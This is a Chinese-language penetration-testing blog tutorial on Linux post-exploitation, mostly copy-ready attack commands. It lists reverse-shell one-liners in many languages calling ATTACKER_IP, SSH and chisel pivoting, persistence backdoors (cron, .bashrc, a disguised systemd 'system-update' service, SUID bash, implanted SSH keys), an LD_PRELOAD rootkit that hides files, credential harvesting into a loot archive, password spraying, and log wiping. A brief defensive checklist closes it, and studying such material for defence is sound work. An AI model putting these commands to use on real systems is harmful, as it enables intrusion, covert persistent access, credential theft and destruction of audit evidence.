Linux 后渗透与持久化 — 反弹 Shell、SSH 隧道、Rootkit

Linux 后渗透与持久化 — 反弹 Shell、SSH 隧道、Rootkit

渗透测试
Linux后渗透反弹Shell

ShellSSH

当渗透测试人员成功获取目标系统的访问权限后,工作并没有结束。后渗透(Post-Exploitation)阶段的目标是维持访问、深入探索内网、收集敏感数据、并建立持久化后门。本文将系统地讲解反弹 Shell 的各种技术、Shell 升级方法、SSH 隧道搭建、持久化手段、痕迹清理等后渗透关键技术,这些都是渗透测试报告中需要覆盖的重要内容。

反弹 Shell 技术大全

反弹 Shell(Reverse Shell)是渗透测试中最基本的技术之一。目标机器主动连接攻击者的监听端口,绕过防火墙的入站限制。

攻击端监听设置

在发送任何反弹 Shell 之前,需要先在攻击机上设置监听:

Bash
# 使用 Netcat 监听nc -lvnp 4444 # 使用 rlwrap 增强 Netcat(提供命令行编辑和历史功能)rlwrap nc -lvnp 4444 # 使用 socat 监听(支持更稳定的连接)socat file:`tty`,raw,echo=0 tcp-listen:4444 # 使用 Metasploit multi/handlermsfconsole -qmsf6 > use exploit/multi/handlermsf6 exploit(handler) > set payload linux/x64/shell_reverse_tcpmsf6 exploit(handler) > set LHOST 0.0.0.0msf6 exploit(handler) > set LPORT 4444msf6 exploit(handler) > exploit

Bash 反弹 Shell

Bash
# 标准 Bash 反弹 Shellbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # 使用 exec 方式exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done # 0<&196 方式0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196 # 使用 /dev/udp(UDP 反弹 Shell)bash -i >& /dev/udp/ATTACKER_IP/4444 0>&1

Python 反弹 Shell

Python
# Python 3 反弹 Shellpython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # Python 2 版本python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Bash
# 命令行直接使用python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat 反弹 Shell

Bash
# 标准 Netcat(带 -e 参数)nc -e /bin/bash ATTACKER_IP 4444 # 某些版本的 Netcat 不支持 -e,使用命名管道代替rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f # 使用 ncat(Nmap 的 Netcat)ncat ATTACKER_IP 4444 -e /bin/bash # Netcat OpenBSD 版本(无 -e)nc ATTACKER_IP 4444 -c /bin/bash

PHP 反弹 Shell

Bash
# PHP 命令行反弹 Shellphp -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # PHP 完整反弹 Shell(适用于 Web Shell 场景)php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'

Perl 反弹 Shell

Bash
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby 反弹 Shell

Bash
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

其他反弹 Shell

Bash
# Socat 反弹 Shell(更稳定)socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444 # OpenSSL 加密反弹 Shell# 攻击端生成证书并监听openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 4444 # 目标端连接mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s # PowerShell 反弹 Shell(如果目标安装了 PowerShell Core)pwsh -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # xterm 反弹xterm -display ATTACKER_IP:0# 攻击端需要运行 Xnest :0 或 xhost +target_ip

Shell 升级技术

通过反弹 Shell 获得的通常是一个非交互式的简陋 Shell,无法使用 Tab 补全、方向键、Ctrl+C 等。需要进行 Shell 升级。

Python PTY 升级

Bash
# 步骤 1: 在反弹 Shell 中生成 PTYpython3 -c 'import pty; pty.spawn("/bin/bash")' # 步骤 2: 按 Ctrl+Z 将 Shell 放到后台 # 步骤 3: 在攻击机本地执行stty raw -echo; fg # 步骤 4: 回到反弹 Shell 后设置终端export TERM=xterm-256colorexport SHELL=/bin/bashstty rows 40 columns 160 # 现在你拥有了一个完全交互式的 Shell# 支持 Tab 补全、方向键、Ctrl+C 等

使用 script 命令升级

Bash
# 如果目标没有 Pythonscript /dev/null -c /bin/bash # 然后同样执行 Ctrl+Z 和 stty raw -echo; fg

使用 socat 升级

Bash
# 攻击端监听(完全交互式)socat file:`tty`,raw,echo=0 tcp-listen:4444 # 目标端连接socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

SSH 隧道技术

SSH 隧道是后渗透中最重要的网络技术之一,可以用来访问内网资源、绕过防火墙、建立代理通道。

本地端口转发(Local Port Forwarding)

将攻击机本地端口的流量转发到目标内网中的某个服务。

Bash
# 语法: ssh -L 本地端口:目标地址:目标端口 跳板机用户@跳板机地址 # 场景:通过跳板机访问内网的 Web 服务# 内网 Web 服务地址:10.10.10.20:80# 跳板机地址:192.168.1.100ssh -L 8080:10.10.10.20:80 user@192.168.1.100 # 现在访问本地 http://localhost:8080 即可访问内网 Web 服务 # 访问内网的 RDP 服务ssh -L 3389:10.10.10.30:3389 user@192.168.1.100# 使用 rdesktop localhost 连接 # 访问内网的数据库ssh -L 3306:10.10.10.40:3306 user@192.168.1.100# mysql -h 127.0.0.1 -P 3306 -u root -p # 后台运行隧道(-f 后台, -N 不执行命令)ssh -f -N -L 8080:10.10.10.20:80 user@192.168.1.100

远程端口转发(Remote Port Forwarding)

将目标机器上的端口转发到攻击机,适用于目标机器无法被直接访问的场景。

Bash
# 语法: ssh -R 远程端口:目标地址:目标端口 攻击机用户@攻击机地址 # 场景:将目标内网服务暴露给攻击机# 在目标机器上执行ssh -R 8080:127.0.0.1:80 attacker@ATTACKER_IP # 攻击机现在可以通过 localhost:8080 访问目标的 80 端口 # 将内网中另一台机器的服务转发出来ssh -R 9090:10.10.10.50:8080 attacker@ATTACKER_IP # 后台运行ssh -f -N -R 8080:127.0.0.1:80 attacker@ATTACKER_IP

动态端口转发(SOCKS 代理)

创建一个 SOCKS 代理,可以访问目标内网的任意服务。

Bash
# 语法: ssh -D 本地端口 跳板机用户@跳板机地址 # 建立 SOCKS5 代理ssh -D 1080 user@192.168.1.100 # 后台运行ssh -f -N -D 1080 user@192.168.1.100 # 配置浏览器使用 SOCKS5 代理:127.0.0.1:1080 # 使用 proxychains 通过代理执行命令# 配置 /etc/proxychains4.conf# socks5 127.0.0.1 1080 # 通过代理扫描内网proxychains nmap -sT -Pn 10.10.10.0/24proxychains curl http://10.10.10.20proxychains ssh user@10.10.10.30 # 使用 chisel 作为替代(当 SSH 不可用时)# 攻击端(服务端)./chisel server -p 8000 --reverse # 目标端(客户端)./chisel client ATTACKER_IP:8000 R:socks# 会在攻击端 1080 端口创建 SOCKS 代理

三层隧道嵌套

Bash
# 场景: 攻击机 -> 跳板机1 -> 跳板机2 -> 目标内网 # 第一层:连接跳板机1,建立SOCKS代理ssh -D 1080 user1@192.168.1.100 # 第二层:通过代理连接跳板机2proxychains ssh -D 1081 user2@10.10.10.20 # 通过双层代理访问深层内网# proxychains 支持链式代理配置

持久化技术

持久化(Persistence)的目的是在目标系统重启或密码修改后仍然能够重新获取访问权限。

SSH 密钥植入

Bash
# 生成 SSH 密钥对(在攻击机上)ssh-keygen -t rsa -b 4096 -f /tmp/backdoor_key -N "" # 将公钥写入目标的 authorized_keys# 在目标机器上执行mkdir -p ~/.sshecho "ssh-rsa AAAA...(你的公钥内容)" >> ~/.ssh/authorized_keyschmod 700 ~/.sshchmod 600 ~/.ssh/authorized_keys # 攻击机使用私钥登录(无需密码)ssh -i /tmp/backdoor_key user@192.168.1.100 # 更隐蔽:写入 root 的 authorized_keysecho "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

Cron 后门

Bash
# 方法一:用户级 cron 后门(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab - # 方法二:系统级 cron 后门echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab # 方法三:定时检查并重建连接cat > /tmp/.update.sh << 'EOF'#!/bin/bashif ! pgrep -f "ATTACKER_IP" > /dev/null; then    /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &fiEOFchmod +x /tmp/.update.sh(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.update.sh") | crontab -

.bashrc / .profile 后门

Bash
# 当用户登录时自动执行echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc # 更隐蔽的方式echo 'nohup bash -c "sleep 10 && bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.bashrc # 写入 .profile(登录时执行)echo 'nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &>/dev/null &' >> ~/.profile

systemd 服务后门

Bash
# 创建恶意 systemd 服务cat > /etc/systemd/system/system-update.service << 'EOF'[Unit]Description=System Update ServiceAfter=network.target [Service]Type=simpleExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'Restart=alwaysRestartSec=60 [Install]WantedBy=multi-user.targetEOF # 启用并启动服务systemctl daemon-reloadsystemctl enable system-update.servicesystemctl start system-update.service # 检查服务状态systemctl status system-update.service

SUID 后门

Bash
# 复制 bash 并设置 SUID 位cp /bin/bash /tmp/.hidden_bashchmod u+s /tmp/.hidden_bash # 以后使用/tmp/.hidden_bash -p# 获得 root shell # 更隐蔽:放在不显眼的目录cp /bin/bash /usr/local/share/.cachechmod u+s /usr/local/share/.cache

Rootkit 概念

Rootkit 是一种隐藏攻击者存在和活动的恶意软件。它分为用户态和内核态两种类型。

用户态 Rootkit

用户态 Rootkit 通过替换系统命令或劫持库函数来隐藏恶意活动。

Bash
# LD_PRELOAD 劫持示例(概念演示)# 编写恶意共享库,hook readdir 函数来隐藏特定文件 cat > /tmp/hide.c << 'EOF'#define _GNU_SOURCE#include <dirent.h>#include <dlfcn.h>#include <string.h> struct dirent *readdir(DIR *dirp) {    struct dirent *(*original_readdir)(DIR *);    original_readdir = dlsym(RTLD_NEXT, "readdir");    struct dirent *entry;    while ((entry = original_readdir(dirp)) != NULL) {        // 隐藏以 .hidden_ 开头的文件        if (strncmp(entry->d_name, ".hidden_", 8) != 0) {            return entry;        }    }    return NULL;}EOF gcc -shared -fPIC -o /tmp/hide.so /tmp/hide.c -ldl # 设置 LD_PRELOAD(影响所有程序)echo "/tmp/hide.so" >> /etc/ld.so.preload # 此时 ls 等命令将看不到 .hidden_ 开头的文件

数据收集与横向移动

敏感数据收集

Bash
# 搜索密码和凭据文件grep -rli "password" /etc/ /home/ /var/ 2>/dev/nullgrep -rli "passwd" /etc/ /home/ 2>/dev/null # 搜索 SSH 密钥find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null # 搜索数据库凭据grep -rli "db_password\|DB_PASS\|mysql\|postgres" /var/www/ /etc/ /opt/ 2>/dev/null # 搜索配置文件中的密码find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name ".env" 2>/dev/null | xargs grep -li "pass\|secret\|key\|token" 2>/dev/null # 查看命令历史cat ~/.bash_historycat ~/.zsh_historycat /home/*/.bash_history # 查看最近修改的文件find / -mtime -7 -type f 2>/dev/null | head -50 # 导出数据库mysqldump -u root -p'password' --all-databases > /tmp/db_dump.sql # 打包敏感数据tar czf /tmp/loot.tar.gz /etc/shadow /etc/passwd /home/*/.ssh/ /var/www/ 2>/dev/null

横向移动

Bash
# 使用收集到的 SSH 密钥连接其他主机ssh -i /home/user/.ssh/id_rsa user@10.10.10.20 # 使用收集到的密码尝试登录其他主机hydra -l admin -p 'collected_password' ssh://10.10.10.20 # 批量密码喷洒crackmapexec ssh 10.10.10.0/24 -u admin -p 'password123' # 通过 SSH 代理转发ssh -A user@10.10.10.20# 在 10.10.10.20 上可以继续使用密钥认证访问其他主机

痕迹清理

在渗透测试完成后(仅限授权测试),需要清理留下的痕迹。

Bash
# 清除命令历史history -cecho "" > ~/.bash_historyrm -f ~/.bash_history # 清除日志echo "" > /var/log/auth.logecho "" > /var/log/syslogecho "" > /var/log/apache2/access.logecho "" > /var/log/apache2/error.log # 清除 lastlog 和 wtmpecho "" > /var/log/lastlogecho "" > /var/log/wtmpecho "" > /var/log/btmp # 修改文件时间戳# 将文件时间戳改为与周围文件一致touch -r /etc/hosts /tmp/backdoor_file # 清除临时文件rm -rf /tmp/exploit* /tmp/linpeas* /tmp/shell* # 删除添加的用户userdel -r hacker # 移除 SSH 密钥sed -i '/attacker_key/d' /root/.ssh/authorized_keys # 移除 cron 后门crontab -rsed -i '/ATTACKER_IP/d' /etc/crontab # 移除 systemd 后门systemctl disable system-update.servicerm /etc/systemd/system/system-update.servicesystemctl daemon-reload

防御建议

  1. 网络监控:部署 IDS/IPS 检测异常的出站连接和隧道流量
  2. 端口限制:使用防火墙严格限制出站连接,仅允许必要的端口和目标
  3. SSH 加固:禁用 SSH 端口转发(AllowTcpForwarding no),限制 SSH 密钥
  4. 文件完整性监控:使用 AIDE/OSSEC 监控关键系统文件(/etc/passwd/etc/crontab、systemd 服务)
  5. 日志集中管理:将日志发送到远程日志服务器(如 ELK/Splunk),防止本地日志被篡改
  6. 进程监控:监控异常进程和网络连接,使用 EDR 工具检测恶意行为
  7. 定期审计:定期检查 authorized_keys、crontab、systemd 服务、SUID 文件
  8. 最小权限:限制用户的 sudo 权限和文件访问权限

总结

本文全面讲解了 Linux 后渗透阶段的核心技术,包括各种反弹 Shell 方法(Bash、Python、Netcat、PHP、Perl、Ruby)、Shell 升级技术、SSH 隧道(本地转发、远程转发、动态代理)、持久化手段(SSH 密钥、Cron 后门、systemd 服务、SUID 后门)以及痕迹清理方法。后渗透是渗透测试中技术含量最高的阶段,需要扎实的系统知识和丰富的实战经验。在合法的渗透测试中,这些技术帮助我们验证安全防护体系的有效性;在防御方面,理解这些攻击手段是构建纵深防御体系的基础。下一篇文章我们将深入学习 Metasploit 框架的完整实战流程。

Linux 后渗透与持久化 — 反弹 Shell、SSH 隧道、Rootkit

https://cot.wiki/blog/linux-post-exploitation

作者Perimsx
发布时间
更新时间
许可协议CC BY-NC-SA 4.0
评论功能集成中